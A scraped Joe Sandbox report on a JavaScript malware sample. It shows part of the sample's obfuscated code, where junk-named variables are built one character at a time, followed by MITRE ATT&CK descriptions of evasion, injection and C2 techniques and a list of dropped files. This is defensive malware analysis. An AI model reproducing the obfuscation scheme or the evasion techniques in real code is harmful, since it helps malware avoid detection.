1194	dsnckrhzk = "r";
1195	dsnckrhzk = "s";
1196	dsnckrhzk = "I";
1197	dsnckrhzk = "I";
1198	dsnckrhzk = "X";
1199	dsnckrhzk = "H";
1200	dsnckrhzk = "e";
1201	dsnckrhzk = "h";
1202	dsnckrhzk = "V";
1203	dsnckrhzk = "i";
1204	dsnckrhzk = "Z";
1205	dsnckrhzk = "c";
1206	dsnckrhzk = "b";
1207	dsnckrhzk = "h";
1208	dsnckrhzk = "H";
1209	dsnckrhzk = "H";
1210	dsnckrhzk = "L";
1211	dsnckrhzk = "g";
1212	dsnckrhzk = "D";
1213	dsnckrhzk = "m";
1214	dsnckrhzk = "f";
1215	dsnckrhzk = "T";
1216	dsnckrhzk = "q";
1217	dsnckrhzk = "o";
1218	dsnckrhzk = "d";
1219	dsnckrhzk = "M";
1220	dsnckrhzk = "y";
1221	dsnckrhzk = "o";
1222	dsnckrhzk = "X";
1223	dsnckrhzk = "U";
1224	dsnckrhzk = "e";
1225	dsnckrhzk = "m";
1226	dsnckrhzk = "w";
1227	dsnckrhzk = "L";
1228	dsnckrhzk = "u";
1229	dsnckrhzk = "A";
1230	dsnckrhzk = "B";
1231	dsnckrhzk = "h";
1232	dsnckrhzk = "I";
1233	dsnckrhzk = "s";
1234	vzzqvvh = "X";
1235	vzzqvvh = "M";
1236	vzzqvvh = "g";
1237	vzzqvvh = "r";
1238	vzzqvvh = "O";
1239	vzzqvvh = "r";
1240	vzzqvvh = "D";
1241	vzzqvvh = "r";
1242	vzzqvvh = "C";
1243	xdbpavr = "b";
1244	xdbpavr = "m";
1245	xdbpavr = "h";
1246	xdbpavr = "H";
1247	xdbpavr = "o";
1248	xdbpavr = "F";
1249	xdbpavr = "Z";
1250	xdbpavr = "n";
1251	xdbpavr = "l";
1252	xdbpavr = "D";
1253	xdbpavr = "i";
1254	xdbpavr = "N";
1255	xdbpavr = "q";
1256	xdbpavr = "c";
1257	xdbpavr = "N";
1258	xdbpavr = "j";
1259	xdbpavr = "y";
1260	xdbpavr = "M";
1261	xdbpavr = "k";
1262	xdbpavr = "A";
1263	xdbpavr = "X";
1264	xdbpavr = "V";
1265	xdbpavr = "V";
1266	xdbpavr = "g";
1267	xdbpavr = "Z";
1268	xdbpavr = "N";
1269	xdbpavr = "r";
1270	xdbpavr = "w";
1271	xdbpavr = "o";
1272	xdbpavr = "R";
1273	xdbpavr = "b";
1274	xdbpavr = "a";
1275	xdbpavr = "B";
1276	xdbpavr = "L";
1277	xdbpavr = "W";
1278	xdbpavr = "e";
1279	xdbpavr = "I";
1280	jnvwn = "h";
1281	jnvwn = "m";
1282	jnvwn = "m";
1283	jnvwn = "j";
1284	jnvwn = "E";
1285	jnvwn = "b";
1286	jnvwn = "Q";
1287	jnvwn = "b";
1288	jnvwn = "u";
1289	jnvwn = "K";
1290	jnvwn = "X";
1291	jnvwn = "P";
1292	jnvwn = "l";
1293	jnvwn = "u";
1294	jnvwn = "l";
1295	jnvwn = "l";
1296	jnvwn = "s";
1297	jnvwn = "y";
1298	jnvwn = "y";
1299	jnvwn = "r";
1300	jnvwn = "l";
1301	jnvwn = "S";
1302	jnvwn = "I";
1303	jnvwn = "N";
1304	jnvwn = "5";
1305	wkkxmelg = "Z";
1306	wkkxmelg = "U";
1307	wkkxmelg = "Y";
1308	wkkxmelg = "T";
1309	wkkxmelg = "M";
1310	wkkxmelg = "p";
1311	wkkxmelg = "F";
1312	wkkxmelg = "A";
1313	wkkxmelg = "P";
1314	wkkxmelg = "l";
1315	wkkxmelg = "n";
1316	wkkxmelg = "f";
1317	wkkxmelg = "C";
1318	wkkxmelg = "q";
1319	wkkxmelg = "D";
1320	wkkxmelg = "d";
1321	wkkxmelg = "F";
1322	wkkxmelg = "P";
1323	wkkxmelg = "w";
1324	wkkxmelg = "U";
1325	wkkxmelg = "p";
1326	wkkxmelg = "b";
1327	wkkxmelg = "z";
1328	wkkxmelg = "H";
1329	wkkxmelg = "o";
1330	wkkxmelg = "G";
1331	wkkxmelg = "M";
1332	wkkxmelg = "a";
1333	wkkxmelg = "L";
1334	wkkxmelg = "b";
1335	wkkxmelg = "n";
1336	wkkxmelg = "T";
1337	wkkxmelg = "c";
1338	wkkxmelg = "o";
1339	wkkxmelg = "n";
1340	wkkxmelg = "k";
1341	nsyxr = "v";
1342	nsyxr = "y";
1343	nsyxr = "d";
1344	nsyxr = "y";
1345	nsyxr = "w";
1346	nsyxr = "L";
1347	nsyxr = "O";
1348	nsyxr = "r";
1349	nsyxr = "U";
1350	nsyxr = "J";
1351	nsyxr = "M";
1352	nsyxr = "p";
1353	nsyxr = "k";
1354	nsyxr = "e";
1355	nsyxr = "t";
1356	nsyxr = "U";
1357	nsyxr = "a";
1358	nsyxr = "k";
1359	nsyxr = "i";
1360	nsyxr = "E";
1361	nsyxr = "b";
1362	nsyxr = "W";
1363	nsyxr = "j";
1364	nsyxr = "m";
1365	nsyxr = "e";
1366	nsyxr = "X";
1367	nsyxr = "U";
1368	nsyxr = "a";
1369	nsyxr = "h";
1370	nsyxr = "z";
1371	nsyxr = "n";
1372	nsyxr = "o";
1373	nsyxr = "q";
1374	nsyxr = "q";
1375	nsyxr = "X";
1376	nsyxr = "O";
1377	nsyxr = "D";
1378	nsyxr = "S";
1379	nsyxr = "l";
1380	nsyxr = "C";
1381	nsyxr = "V";
1382	nsyxr = "f";
1383	nsyxr = "S";
1384	nsyxr = "L";
1385	nsyxr = "l";
1386	zzdfjv = "L";
1387	zzdfjv = "T";
1388	zzdfjv = "m";
1389	zzdfjv = "i";
1390	zzdfjv = "i";
1391	zzdfjv = "H";
1392	zzdfjv = "M";
1393	zzdfjv = "U";
1394	zzdfjv = "D";
1395	zzdfjv = "p";
1396	zzdfjv = "y";
1397	zzdfjv = "Z";
1398	zzdfjv = "A";
1399	zzdfjv = "Z";
1400	zzdfjv = "M";
1401	zzdfjv = "p";
1402	zzdfjv = "o";
1403	zzdfjv = "P";
1404	zzdfjv = "P";
1405	zzdfjv = "I";
1406	zzdfjv = "d";
1407	zzdfjv = "d";
1408	zzdfjv = "r";
1409	zzdfjv = "J";
1410	zzdfjv = "U";
1411	zzdfjv = "b";
1412	zzdfjv = "C";
1413	zzdfjv = "F";
1414	zzdfjv = "i";
1415	zzdfjv = ":";
1416	zrwdzfzh = "L";
1417	zrwdzfzh = "S";
1418	zrwdzfzh = "F";
1419	zrwdzfzh = "s";
1420	zrwdzfzh = "c";
1421	zrwdzfzh = "m";
1422	zrwdzfzh = "l";
1423	zrwdzfzh = "w";
1424	zrwdzfzh = "F";
1425	zrwdzfzh = "P";
1426	zrwdzfzh = "z";
1427	zrwdzfzh = "y";
1428	zrwdzfzh = "V";
1429	zrwdzfzh = "R";
1430	zrwdzfzh = "T";
1431	zrwdzfzh = "o";
1432	zrwdzfzh = "3";
1433	pgtso ( );	pgtso() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9839206391373229960.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\28f8232b-5bb6-4dd4-b4d8-942855fb5552.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51c672.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d1891e51-001c-421a-b74f-793473e2fa77.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
9839206391373229960.js